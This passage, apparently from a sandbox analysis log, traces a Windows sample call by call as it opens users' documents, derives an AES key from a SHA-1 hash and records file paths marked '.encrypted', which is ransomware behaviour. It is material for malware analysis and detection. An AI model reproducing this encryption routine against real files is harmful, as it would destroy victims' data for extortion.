dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.445] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=3506) returned 1 [0024.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\h_iDTN9q4xoR8AS.encrypted.ots\r\n", cchWideChar=88, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 88 [0024.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\h_iDTN9q4xoR8AS.encrypted.ots\r\n", cchWideChar=88, lpMultiByteStr=0xe8f4069b90, cbMultiByte=88, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\h_iDTN9q4xoR8AS.encrypted.ots\r\n", lpUsedDefaultChar=0x0) returned 88 [0024.445] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4062330*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4062330*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x57, lpOverlapped=0x0) returned 1 [0024.446] CloseHandle (hObject=0x1fc) returned 1 [0024.447] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.448] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.448] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.448] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.448] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.448] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.448] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.449] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.449] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178520, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0024.449] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0024.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178940, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0024.450] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0024.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\Par3V.docx", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0024.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\Par3V.docx", cchWideChar=67, lpMultiByteStr=0xe8f4052120, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\Par3V.docx", lpUsedDefaultChar=0x0) returned 67 [0024.451] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\Par3V.docx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\gifhucqicytovjewuyw\\par3v.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.451] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=67, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 67 [0024.451] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=67, lpWideCharStr=0xe8f40676a0, cchWideChar=67 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\Par3V.docx") returned 67 [0024.451] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.452] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.452] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.452] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.452] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178380, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0024.453] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0024.453] CloseHandle (hObject=0x1fc) returned 1 [0024.453] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.453] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.453] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.453] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.453] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.453] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.453] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.453] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.453] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.453] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.453] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.454] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.454] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.454] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.454] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.454] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.454] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.454] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.454] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.454] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.454] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.454] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.454] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.454] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.454] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.454] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.454] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.454] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.454] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.454] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.454] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.454] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.454] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.454] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.454] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.454] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.455] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.455] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4199a20) returned 1 [0024.455] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.455] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.455] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.455] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.455] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.455] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.455] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.455] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.455] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.455] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.455] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.455] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.455] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.455] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.455] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.455] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.455] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.455] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.455] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.456] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.456] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.456] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.456] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.456] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.456] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.456] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.456] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.456] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.456] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.456] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.456] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.456] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.456] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.456] CryptCreateHash (in: hProv=0xe8f4199a20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.456] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.456] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.456] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.456] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.456] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.456] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.456] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.456] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.456] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.456] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.456] CryptHashData (hHash=0xe8f4062640, pbData=0xe8f418b4b0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.456] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.456] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.456] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.457] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.457] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.457] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.457] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.457] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.457] CryptDeriveKey (in: hProv=0xe8f4199a20, Algid=0x660e, hBaseData=0xe8f4062640, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0024.457] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.457] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.457] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.457] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.457] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.457] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.457] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.457] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.457] CryptDestroyHash (hHash=0xe8f4062640) returned 1 [0024.458] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.458] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.459] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.459] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.459] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.459] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\Par3V.docx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\gifhucqicytovjewuyw\\par3v.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.459] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | 